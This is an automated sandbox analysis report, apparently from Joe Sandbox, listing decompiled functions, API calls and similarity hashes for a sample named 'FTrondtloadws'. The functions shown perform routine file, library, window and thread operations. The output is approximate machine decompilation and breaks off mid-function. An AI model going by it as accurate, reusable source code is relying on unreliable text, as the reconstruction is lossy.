Instruction Fuzzy Hash: 99F0BD7190631AAB8F209BA5AD4CDDB7F6CEE157917004415B519D2214E678D506C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBB90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00CDBB90(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E00CD32E6( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00cdbba0
0x00cdbba7
0x00cdbbaf
0x00cdbbb2
0x00cdbbbf
0x00cdbbc6
0x00cdbbce
0x00cdbbd4
0x00cdbbd4
0x00cdbbd6
0x00cdbbd9
0x00cdbbde
0x00000000
0x00cdbbde
0x00cdbbe6

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00CDBBA7
SHAutoComplete.SHLWAPI(?,00000010), ref: 00CDBBDE

Part of subcall function 00CD32E6: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000132E6,00CCD503,00000000,.exe,?,?,00000800,?,?,?,00CD9E2C), ref: 00CD32FC

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00CDBBCE

Strings

EDIT, xrefs: 00CDBBB2, 00CDBBBD, 00CDBBCA

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 4067f2a4d4cc8c4bffb56ef23d8c3cda863443de1efe3a1960988f98c2d055f7
Instruction ID: 652ab88bda8078e8d3104c2cc99dc0a531b97601ba1dddde8e30045520a7d7a8
Opcode Fuzzy Hash: 4067f2a4d4cc8c4bffb56ef23d8c3cda863443de1efe3a1960988f98c2d055f7
Instruction Fuzzy Hash: 66F08232A00728BBDB3056259C05FEF766C9F56B50F450053BB05F2288D774EE0285FA

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBCEB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00CDBCEB(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E00CD1B14(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0xd25174(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0xd25034( &_v16);
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L00CDFBED(); // executed
				 *0xd25090(0xd0a460,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x00cdbcfa
0x00cdbd01
0x00cdbd04
0x00cdbd0d
0x00cdbd15
0x00cdbd1c
0x00cdbd26
0x00cdbd31
0x00cdbd35
0x00cdbd38
0x00cdbd3b
0x00cdbd45
0x00cdbd50

APIs

Part of subcall function 00CD1B14: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD1B2F
Part of subcall function 00CD1B14: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CD0613,Crypt32.dll,00000000,00CD068D,00000200,?,00CD0670,00000000,00000000,?), ref: 00CD1B51

OleInitialize.OLE32(00000000), ref: 00CDBD04
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CDBD3B
SHGetMalloc.SHELL32(00D0A460), ref: 00CDBD45

Strings

riched20.dll, xrefs: 00CDBCF3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: df4f96d09062f207e820ee414bbe083992bc974f53b31fbfcb38a04ba50eabdf
Instruction ID: 64c2bc8a2d1bbf02453a3d1321d37348fc817b2fcb02548c29129d2933990e58
Opcode Fuzzy Hash: df4f96d09062f207e820ee414bbe083992bc974f53b31fbfcb38a04ba50eabdf
Instruction Fuzzy Hash: 6BF0FFB1D00209ABCB20AFA9DD49DEFFBFCEF94704F00406BE515E2245D7B456068BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4BF2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00CE4BF2(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800); // executed
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E00CE72B8(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00ce4bff
0x00ce4c07
0x00ce4c3c
0x00ce4c09
0x00ce4c12
0x00000000
0x00ce4c39
0x00ce4c38
0x00ce4c38

APIs

LoadLibraryExW.KERNELBASE(00000011,00000000,00000800,?,00CE4BA3,00000000,00000001,00D240C4,?,?,?,00CE4D46,00000004,InitializeCriticalSectionEx,00CF7424,InitializeCriticalSectionEx), ref: 00CE4BFF
GetLastError.KERNEL32(?,00CE4BA3,00000000,00000001,00D240C4,?,?,?,00CE4D46,00000004,InitializeCriticalSectionEx,00CF7424,InitializeCriticalSectionEx,00000000,?,00CE4AFD), ref: 00CE4C09
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,00CE3A43), ref: 00CE4C31

Strings

api-ms-, xrefs: 00CE4C16

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a1406e964717064172726df02664097908ca41af74525f779eee4679dc094e3e
Instruction ID: 65928f4981e0d6567a6e93df0e9f61f3e2fad912972eb171a3b42dad1d6c24eb
Opcode Fuzzy Hash: a1406e964717064172726df02664097908ca41af74525f779eee4679dc094e3e
Instruction Fuzzy Hash: EAE04F30284248F7EF241F62EC06B6E3F95AB10B52F200170FA1CA80F1EB62DA50D686

Uniqueness

Uniqueness Score: -1.00%

Function 00CCA9C5 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00CCA9C5(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x10)) == 1) {
					 *(_t25 + 8) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 8), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00CCAAFC(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0x10)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0x10)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00CCA9C5(_t25);
						}
					}
				}
				return _t15;
			}

0x00cca9c8
0x00cca9ca
0x00cca9d1
0x00cca9db
0x00cca9db
0x00cca9ed
0x00cca9f5
0x00ccaa51
0x00cca9f7
0x00cca9f9
0x00ccaa00
0x00ccaa19
0x00ccaa1d
0x00ccaa2e
0x00ccaa32
0x00ccaa4c
0x00ccaa4c
0x00ccaa3e
0x00ccaa3e
0x00ccaa47
0x00000000
0x00ccaa49
0x00ccaa49
0x00000000
0x00ccaa49
0x00ccaa47
0x00ccaa1f
0x00ccaa1f
0x00ccaa28
0x00000000
0x00ccaa2a
0x00ccaa2a
0x00ccaa2a
0x00ccaa28
0x00ccaa02
0x00ccaa02
0x00ccaa0a
0x00000000
0x00ccaa0c
0x00ccaa0c
0x00ccaa0d
0x00ccaa0d
0x00ccaa12
0x00ccaa12
0x00ccaa0a
0x00ccaa00
0x00ccaa57

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00CCA9D5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00CCA9ED
GetLastError.KERNEL32 ref: 00CCAA1F
GetLastError.KERNEL32 ref: 00CCAA3E

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5f61c8dc97c9746318d547d09b95b7535c1aa7d5892159c784f1f8a428611c3e
Instruction ID: ada5881ff609d483b327cb62b9b8f85f2e99baa095a1dcddb18f378444aecd10
Opcode Fuzzy Hash: 5f61c8dc97c9746318d547d09b95b7535c1aa7d5892159c784f1f8a428611c3e
Instruction Fuzzy Hash: EB115A35900608EFCF209F65DA0CF7E3BA9AB05369B10462EF52A85190DB748E84FF57

Uniqueness

Uniqueness Score: -1.00%

Function 00CEBD44 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00CEBD44(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0xd24608 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0xcf8480 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x763902cc
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x00cebd49
0x00cebd4d
0x00cebd54
0x00cebd58
0x00cebd66
0x00cebd76
0x00cebd7c
0x00cebd80
0x00cebda9
0x00cebdab
0x00cebdaf
0x00cebdb2
0x00cebdb2
0x00cebdb8
0x00cebdba
0x00000000
0x00cebdbb
0x00cebd82
0x00cebd8b
0x00cebd9a
0x00cebd8d
0x00cebd90
0x00cebd96
0x00cebd96
0x00cebd9e
0x00000000
0x00cebda0
0x00cebda3
0x00cebda5
0x00000000
0x00cebda5
0x00cebd9e
0x00cebd5a
0x00cebd5f
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00CE524D,00000000,00000000,?,00CEBCEB,00CE524D,00000000,00000000,00000000,?,00CEBEE8,00000006,FlsSetValue), ref: 00CEBD76
GetLastError.KERNEL32(?,00CEBCEB,00CE524D,00000000,00000000,00000000,?,00CEBEE8,00000006,FlsSetValue,00CF8A00,FlsSetValue,00000000,00000364,?,00CEA437), ref: 00CEBD82
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00CEBCEB,00CE524D,00000000,00000000,00000000,?,00CEBEE8,00000006,FlsSetValue,00CF8A00,FlsSetValue,00000000), ref: 00CEBD90

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 6e3c17877ed05f4861311d44a3e33115f8061cca8fbb19678f07de1ab7f80848
Instruction ID: 4851e2c56e3b30a8fbef81a75fe70eea10166d8606288f37212db16001acf2d3
Opcode Fuzzy Hash: 6e3c17877ed05f4861311d44a3e33115f8061cca8fbb19678f07de1ab7f80848
Instruction Fuzzy Hash: 1C01DB366513669BCB314B7AAC44BBB7B98FF05BA27250620F916D7254DB20DE01C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2317 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00CD2317() {
				long _v4;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t12;
				void** _t18;
				void* _t22;

				_t12 = 0;
				if( *0xd030c4 > 0) {
					_t18 = 0xd030c8;
					do {
						_t7 = CreateThread(0, 0x10000, E00CD2450, 0xd030c4, 0,  &_v4); // executed
						_t22 = _t7;
						_t25 = _t22;
						if(_t22 == 0) {
							_push(L"CreateThread failed");
							_push(0xd030c4);
							E00CC76C9(0xd030c4, _t25);
							E00CC76C4(E00CC7851(_t25), 0xd030c4, 0xd030c4, 2);
						}
						 *_t18 = _t22;
						 *0x00D031C8 =  *((intOrPtr*)(0xd031c8)) + 1;
						_t8 =  *0xd0a208; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t18, _t8);
						}
						_t12 = _t12 + 1;
						_t18 =  &(_t18[1]);
					} while (_t12 <  *0xd030c4);
					return _t8;
				}
				return _t5;
			}

0x00cd231c
0x00cd2320
0x00cd2324
0x00cd2327
0x00cd233b
0x00cd2341
0x00cd2343
0x00cd2345
0x00cd2347
0x00cd234c
0x00cd2351
0x00cd2369
0x00cd2369
0x00cd236e
0x00cd2370
0x00cd2376
0x00cd237d
0x00cd2382
0x00cd2382
0x00cd2388
0x00cd2389
0x00cd238c
0x00000000
0x00cd2391
0x00cd2395

APIs

CreateThread.KERNELBASE ref: 00CD233B
SetThreadPriority.KERNEL32(?,00000000), ref: 00CD2382

Part of subcall function 00CC76C9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC76E7

Strings

CreateThread failed, xrefs: 00CD2347

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 3dff7ba6787f82a1f6e39fdca53664c1c26a12261ea05408d1226388104ea9fa
Instruction ID: 6b0dff84288df0dd276cbfa46010f1051c6743a7276a31fafb2d373f17069117
Opcode Fuzzy Hash: 3dff7ba6787f82a1f6e39fdca53664c1c26a12261ea05408d1226388104ea9fa
Instruction Fuzzy Hash: 5F01F9B53447066FD324AF58DC81F66B79CFB20712F10023EF756962D0CAA1A8449735

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB1EA Relevance: 4.6, APIs: 3, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00CCB1EA() {
				void* __ecx;
				void* __ebp;
				long _t37;
				void* _t42;
				void* _t46;
				signed int _t49;
				intOrPtr* _t53;
				void** _t54;
				DWORD* _t61;
				void* _t65;
				intOrPtr _t66;
				long _t67;
				intOrPtr* _t69;
				void* _t70;

				_t67 =  *(_t70 + 0x18);
				_t69 = _t53;
				if(_t67 != 0) {
					_t54 = _t69 + 8;
					 *(_t70 + 0xc) = _t54;
					if( *((intOrPtr*)(_t69 + 0x10)) != 1) {
						 *(_t70 + 0xc) = _t54;
					} else {
						_t46 = GetStdHandle(0xfffffff5);
						_t54 = _t69 + 8;
						 *_t54 = _t46;
					}
					while(1) {
						 *(_t70 + 0x10) =  *(_t70 + 0x10) & 0x00000000;
						_t49 = 0;
						if( *((intOrPtr*)(_t69 + 0x10)) == 0) {
							goto L13;
						}
						_t65 = 0;
						if(_t67 == 0) {
							L15:
							if( *((char*)(_t69 + 0x1e)) == 0 ||  *((intOrPtr*)(_t69 + 0x10)) != 0) {
								L22:
								 *((char*)(_t69 + 0xc)) = 1;
								return _t49;
							} else {
								_t64 = _t69 + 0x32;
								if(E00CC763A(0xd030c4, _t69 + 0x32, 0) == 0) {
									E00CC7931(0xd030c4, _t69, 0, _t64);
									goto L22;
								}
								_t54 =  *(_t70 + 0x14);
								if( *(_t70 + 0x10) < _t67 &&  *(_t70 + 0x10) > 0) {
									_t66 =  *_t69;
									 *0xcf4278(0);
									_t42 =  *((intOrPtr*)( *((intOrPtr*)(_t66 + 0x14))))();
									asm("sbb edx, 0x0");
									 *0xcf4278(_t42 -  *(_t70 + 0x14), _t61);
									 *((intOrPtr*)(_t66 + 0x10))();
									_t67 =  *(_t70 + 0x20);
									_t54 =  *(_t70 + 0x14);
								}
								continue;
							}
						} else {
							goto L8;
						}
						while(1) {
							L8:
							_t37 = _t67 - _t65;
							if(_t37 >= 0x4000) {
								_t37 = 0x4000;
							}
							_t61 = _t70 + 0x14;
							_t13 = WriteFile( *_t54,  *(_t70 + 0x28) + _t65, _t37, _t61, 0) == 1;
							_t49 = _t49 & 0xffffff00 | _t13;
							if(_t13 != 0) {
								break;
							}
							_t54 =  *(_t70 + 0x14);
							_t65 = _t65 + 0x4000;
							if(_t65 < _t67) {
								continue;
							}
							break;
						}
						L14:
						if(_t49 != 0) {
							goto L22;
						}
						goto L15;
						L13:
						WriteFile( *_t54,  *(_t70 + 0x28), _t67, _t70 + 0x14, 0);
						asm("sbb bl, bl");
						_t49 = 1;
						goto L14;
					}
				}
				return 1;
			}

0x00ccb1ee
0x00ccb1f2
0x00ccb1f6
0x00ccb203
0x00ccb206
0x00ccb20a
0x00ccb21b
0x00ccb20c
0x00ccb20e
0x00ccb214
0x00ccb217
0x00ccb217
0x00ccb221
0x00ccb221
0x00ccb226
0x00ccb22c
0x00000000
0x00000000
0x00ccb22e
0x00ccb232
0x00ccb294
0x00ccb298
0x00ccb312
0x00ccb315
0x00000000
0x00ccb2a0
0x00ccb2a2
0x00ccb2b2
0x00ccb30d
0x00000000
0x00ccb30d
0x00ccb2b4
0x00ccb2bc
0x00ccb2cd
0x00ccb2d7
0x00ccb2df
0x00ccb2e8
0x00ccb2ed
0x00ccb2f5
0x00ccb2f8
0x00ccb2fc
0x00ccb2fc
0x00000000
0x00ccb2bc
0x00000000
0x00000000
0x00000000
0x00ccb234
0x00ccb234
0x00ccb236
0x00ccb23d
0x00ccb23f
0x00ccb23f
0x00ccb246
0x00ccb25e
0x00ccb25e
0x00ccb261
0x00000000
0x00000000
0x00ccb263
0x00ccb267
0x00ccb26f
0x00000000
0x00000000
0x00000000
0x00ccb271
0x00ccb290
0x00ccb292
0x00000000
0x00000000
0x00000000
0x00ccb273
0x00ccb281
0x00ccb28c
0x00ccb28e
0x00000000
0x00ccb28e
0x00ccb221
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00CCE77B,00000001,?,?,?,00000000,00CD6692,?,?,?), ref: 00CCB20E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00CD6692,?,?,?,?,?,00CD6154,?), ref: 00CCB255
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00CCE77B,00000001,?,?), ref: 00CCB281

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: fee826c58b2be93226c48945ba1ba4ad28277c2aca00bd48849ac01248daaab7
Instruction ID: fb45ce30cad67bb3f5c471a76b2b3735d2c3fff16fb4bb4764b5e54d62e22cea
Opcode Fuzzy Hash: fee826c58b2be93226c48945ba1ba4ad28277c2aca00bd48849ac01248daaab7
Instruction Fuzzy Hash: E031DF71248345AFDB18CF94D809F6E77A9FB80711F040A1CF995A72A0CB749E48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB522 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCB522(void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t11;
				void* _t14;
				void* _t17;
				int _t24;
				long _t25;
				WCHAR* _t26;
				void* _t27;

				_t27 = __eflags;
				E00CDFE20(0x1000);
				_t26 = _a4;
				_t11 =  *(E00CCD66B(_t27, _t26)) & 0x0000ffff;
				if(_t11 != 0x2e && _t11 != 0x20) {
					_t24 = CreateDirectoryW(_t26, 0); // executed
					if(_t24 != 0) {
						L6:
						if(_a8 != 0) {
							E00CCB8C6(_t26, _a12);
						}
						return 0;
					}
				}
				if(E00CCB4A1(_t26) == 0 && E00CCCF12(_t26,  &_v4100, 0x800) != 0 && CreateDirectoryW( &_v4100, 0) != 0) {
					goto L6;
				}
				_t25 = GetLastError();
				_t14 = 2;
				__eflags = _t25 - _t14;
				if(_t25 != _t14) {
					__eflags = _t25 - 3;
					_t17 = (0 | _t25 == 0x00000003) + 1;
					__eflags = _t17;
					return _t17;
				}
				return _t14;
			}

0x00ccb522
0x00ccb52a
0x00ccb530
0x00ccb539
0x00ccb53f
0x00ccb549
0x00ccb551
0x00ccb586
0x00ccb58a
0x00ccb590
0x00ccb590
0x00000000
0x00ccb595
0x00ccb551
0x00ccb55b
0x00000000
0x00000000
0x00ccb59f
0x00ccb5a3
0x00ccb5a4
0x00ccb5a6
0x00ccb5aa
0x00ccb5b0
0x00ccb5b0
0x00000000
0x00ccb5b0
0x00ccb5b3

APIs

Part of subcall function 00CCD66B: _wcslen.LIBCMT ref: 00CCD671

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB549
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB57C
GetLastError.KERNEL32(?,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB599

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: e3f4a8835e3ecb5d028b74d73cf540a575fb2bd3b8d1c476527b2b0cf8d94fd1
Instruction ID: cee8e0b53c9b6468f85acd74a99afd8836d0acbfefd4af4e83170611abce239f
Opcode Fuzzy Hash: e3f4a8835e3ecb5d028b74d73cf540a575fb2bd3b8d1c476527b2b0cf8d94fd1
Instruction Fuzzy Hash: 8601B1A1600224AAEF25ABF5DC46FFE2358AF09781F04441CFA16DA181DB64DF82D6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00CEC8A3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00CEC8A3(void* __edx, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed char _v1828;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				void* _t67;
				signed char _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t87;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				char* _t94;
				intOrPtr _t96;
				signed int _t97;

